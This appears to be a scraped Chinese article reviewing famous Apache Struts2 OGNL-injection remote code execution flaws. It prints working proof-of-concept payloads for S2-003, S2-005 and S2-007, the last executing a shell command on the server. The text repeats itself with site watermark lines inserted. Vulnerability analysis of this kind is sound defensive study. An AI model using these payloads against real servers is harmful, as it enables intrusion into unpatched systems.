Struts2著名RCE漏洞引发的十年之思
0×01 前言
从2007年7月23日发布的第一个Struts2漏洞S2-001到2017年12月发布的最新漏洞S2-055,跨度足足有十年,而漏洞的个数也升至55个。分析了Struts2的这55个漏洞发现,基本上是RCE、XSS、CSRF、DOS、目录遍历和其他功能缺陷漏洞等等。本篇文章,重点关注威胁性较大的那些著名RCE漏洞,也是黑客们比较喜欢利用的。
要说著名RCE(远程代码执行)漏洞,Struts2框架漏洞无外乎就那么十几个,一经爆发就被各安全厂商作为高危紧急漏洞处理,其余的一些漏洞,并没有得到很多的重视,基本上是危害不大或难以利用。在此,列出一些当年风靡一时过的漏洞:S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。这里列出的只是个人觉得比较有名的Struts2框架漏洞,也许还不全,或者其中的漏洞并没有作者说的那么有名,仅作为参考,希望能给读者带来一些收获。
虽然上述漏洞那么多,但是其本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。那么,漏洞都是如何触发,或者说,如何注入OGNL表达式,造成RCE,下面用一个表来简要概括:
上面表格可以说是简要总结了下请求可注入的地方,涵盖了HTTP请求的多个点,并且有些点爆发的漏洞不止一个。参数名注入有S2-003、S2-005,cookie名注入在官方S2-008漏洞介绍的第二个提到过;参数值注入就比较多了,包括S2-007、S2-009、S2-012等基本都是;filename注入是指S2-046漏洞,content-type注入是指S2-045漏洞;URL的action名称处注入是S2-015漏洞。先做个简要了解,下面会对各个漏洞的触发进行分别介绍,由于文章篇幅有限,不可能每个漏洞都展开分析,所以仅作个总结性的介绍。
0×02 著名RCE漏洞总结
1、S2-003/S2-005漏洞
这两个漏洞有着密不可分的联系,根据先后顺序,从S2-003入手。S2-003漏洞发生在请求参数名,Struts2框架会对每个请求参数名解析为OGNL语句执行,因此,恶意用户可通过在参数名处注入预先设定好的OGNL语句来达到远程代码执行的攻击效果;漏洞就出现在com.opensymphony.xwork2.interceptor.ParametersInterceptor这个拦截器中,如下图所示:
S2-003的PoC:
(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
S2-005的PoC:
('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET')(c))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005 dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
上面两个PoC的功能都是Web路径探测并打印回显。两个漏洞都需要对#字符进行编码,绕过Struts2框架对#字符的过滤。观察两个PoC,可以发现,S2-005前面多了一段(‘%5C43_memberAccess.allowStaticMethodAccess’)(a)=true,打开安全配置(静态方法调用),其实官方对S2-003的修复就只是关闭静态方法调用,绕过这个修复很简单,所以就有了S2-005。
2、S2-007漏洞
用户输入将被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。
漏洞PoC:
'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
PoC为何这样写,是因为需要后端用代码拼接”‘” + value + “‘”然后对其进行OGNL表达式解析。
3、S2-008漏洞
这个编号,官方发布了四个漏洞,其实,第1、3、4分别是S2-007、S2-009、S2-019漏洞。第2个说的是CookieInterceptor拦截器缺陷,利用道理和S2-005差不多,只不过是在cookie名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。
0×01 前言
从2007年7月23日发布的第一个Struts2漏洞S2-001到2017年12月发布的最新漏洞S2-055,跨度足足有十年,而漏洞的个数也升至55个。分析了Struts2的这55个漏洞发现,基本上是RCE、XSS、CSRF、DOS、目录遍历和其他功能缺陷漏洞等等。本篇文章,重点关注威胁性较大的那些著名RCE漏洞,也是黑客们比较喜欢利用的。
要说著名RCE(远程代码执行)漏洞,Struts2框架漏洞无外乎就那么十几个,一经爆发就被各安全厂商作为高危紧急漏洞处理,其余的一些漏洞,并没有得到很多的重视,基本上是危害不大或难以利用。在此,列出一些当年风靡一时过的漏洞:S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。这里列出的只是个人觉得比较有名的Struts2框架漏洞,也许还不全,或者其中的漏洞并没有作者说的那么有名,仅作为参考,希望能给读者带来一些收获。
虽然上述漏洞那么多,但是其本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。那么,漏洞都是如何触发,或者说,如何注入OGNL表达式,造成RCE,下面用一个表来简要概括:
copyright 无奈人生
上面表格可以说是简要总结了下请求可注入的地方,涵盖了HTTP请求的多个点,并且有些点爆发的漏洞不止一个。参数名注入有S2-003、S2-005,cookie名注入在官方S2-008漏洞介绍的第二个提到过;参数值注入就比较多了,包括S2-007、S2-009、S2-012等基本都是;filename注入是指S2-046漏洞,content-type注入是指S2-045漏洞;URL的action名称处注入是S2-015漏洞。先做个简要了解,下面会对各个漏洞的触发进行分别介绍,由于文章篇幅有限,不可能每个漏洞都展开分析,所以仅作个总结性的介绍。
0×02 著名RCE漏洞总结
1、S2-003/S2-005漏洞
这两个漏洞有着密不可分的联系,根据先后顺序,从S2-003入手。S2-003漏洞发生在请求参数名,Struts2框架会对每个请求参数名解析为OGNL语句执行,因此,恶意用户可通过在参数名处注入预先设定好的OGNL语句来达到远程代码执行的攻击效果;漏洞就出现在com.opensymphony.xwork2.interceptor.ParametersInterceptor这个拦截器中,如下图所示:
copyright 无奈人生
S2-003的PoC:
(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
S2-005的PoC:
('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET')(c))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005 dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d)) copyright 无奈人生
上面两个PoC的功能都是Web路径探测并打印回显。两个漏洞都需要对#字符进行编码,绕过Struts2框架对#字符的过滤。观察两个PoC,可以发现,S2-005前面多了一段(‘%5C43_memberAccess.allowStaticMethodAccess’)(a)=true,打开安全配置(静态方法调用),其实官方对S2-003的修复就只是关闭静态方法调用,绕过这个修复很简单,所以就有了S2-005。
2、S2-007漏洞
用户输入将被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。
漏洞PoC:
'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
PoC为何这样写,是因为需要后端用代码拼接”‘” + value + “‘”然后对其进行OGNL表达式解析。
3、S2-008漏洞
这个编号,官方发布了四个漏洞,其实,第1、3、4分别是S2-007、S2-009、S2-019漏洞。第2个说的是CookieInterceptor拦截器缺陷,利用道理和S2-005差不多,只不过是在cookie名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。
内容来自无奈安全网